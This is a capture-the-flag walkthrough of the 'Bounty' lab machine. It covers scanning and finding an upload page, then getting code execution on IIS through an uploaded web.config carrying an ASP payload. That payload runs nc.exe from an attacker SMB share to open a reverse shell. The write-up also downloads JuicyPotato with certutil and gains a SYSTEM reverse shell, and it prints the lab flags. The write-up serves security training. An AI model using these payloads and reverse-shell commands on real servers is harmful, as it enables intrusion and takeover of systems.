Bounty

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.93 -oN allPorts

• -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

• --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

• -p- scanning the entire port range, from 1 to 65535.

• -T5 insane mode, it is the fastest mode of the nmap time template.

• -Pn assume the host is online.

• -n scan without reverse DNS resolution.

• -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Sun Sep  4 21:22:13 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.054s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

# Nmap done at Sun Sep  4 21:22:39 2022 -- 1 IP address (1 host up) scanned in 26.72 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.93 -oN targeted

• -sC performs the scan using the default set of scripts.

• -sV enables version detection.

• -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Mon Sep  5 12:15:24 2022 as: nmap -sCV -p80 -oN targeted 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep  5 12:15:34 2022 -- 1 IP address (1 host up) scanned in 10.33 seconds

The website only has one image.

Let's list directories with gobuster.

gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x aspx

• dir enumerates directories or files.

• -u the target URL.

• -w path to the wordlist.

• -t number of current threads, in this case 200 threads.

• -x file extensions to search for.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.93
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              aspx
[+] Timeout:                 10s
===============================================================
2022/09/05 12:26:43 Starting gobuster in directory enumeration mode
===============================================================
/transfer.aspx        (Status: 200) [Size: 941]
/UploadedFiles        (Status: 301) [Size: 156] [--> http://10.10.10.93/UploadedFiles/]                                      
                                                                                       
===============================================================
2022/09/05 12:28:14 Finished
===============================================================

The /transfer.aspx allow us to upload files to the server.

But we can't list the content of the /UploadedFiles directory.

Let's try to upload a simple test.txt file.

An error pops up saying that the file is not valid. This might be happening because of the file extension. Let's intercept the upload request and brute-force the extension with the Intruder. Once the request is in the Intruder, add the payload to .txt only.

Then, in the Payloads tab, under the Payload Options, load the /SecLists/Discovery/Web-Content/raft-small-extensions-lowercase.txt extensions dictionary from SecLists.

Make sure to disable the following option.

Then click in Start attack. Once the attack has started, order the lines based on the length of the response. Then responses with more bytes in the response will be extensions that the website supports.

Exploitation

As we can see, the website supports extensions as .jpg, .png or .jpeg. It also supports the .config extension. If we search for exploits with that extension in IIS web servers, we'll find this article explaining how we can execute commands on the server by injection ASP code into a file web.config with the following content. The ASP code must be placed in between the last comment tags. In this case, the exploit will execute a command which will send us a reverse shell by executing nc.exe from a share that we will set later.

nano web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("cmd /c \\10.10.14.9\smbFolder\nc.exe -e cmd 10.10.14.9 4444")
output = cte.StdOut.Readall()
Response.write(output)
%>
-->

Let's set a simple SMB server on the directory where the nc.exe binary is placed.

impacket-smbserver smbFolder $(pwd) -smb2support

And a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

• -l listen mode.

• -v verbose mode.

• -n numeric-only IP, no DNS resolution.

• -p specify the port to listen on.

Upload the web.config file to the web server.

If we access the web.config file from the /UploadedFiles directory, we should catch a reverse shell as the merlin user, and we'll be able to grab the user flag.

http://10.10.10.93/uploadedfiles/web.config

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.93] 49158
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
bounty\merlin

type \users\merlin\desktop\user.txt
a6dd00db3762441a250b90692c644b49

Privilege Escalation

Let's start by seeing what privileges the user merlin has.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potato

To escalate privileges, we'll have to transfer JuicyPotato.exe and nc.exe binaries to the victim machine. Let's set a python HTTP server on the directory where we have those binaries.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the tolis user.

certutil.exe -f -urlcache -split http://10.10.14.11:8000/JuicyPotato.exe JuicyPotato.exe

certutil.exe -f -urlcache -split http://10.10.14.11:8000/nc.exe nc.exe

Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.

nc -lvnp 5555

• -l listen mode.

• -v verbose mode.

• -n numeric-only IP, no DNS resolution.

• -p specify the port to listen on.

Finally, let's run the Juicy Potato binary and get a shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.

JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\users\merlin\desktop\nc.exe -e cmd 10.10.14.11 5555"

• -t createprocess call.

• -l COM server listen port.

• -p program to launch.

• -a specify command arguments.

listening on [any] 5555 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.93] 49166
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
nt authority\system

type \users\administrator\desktop\root.txt
cdf94e82125f93bbe4daeca886944442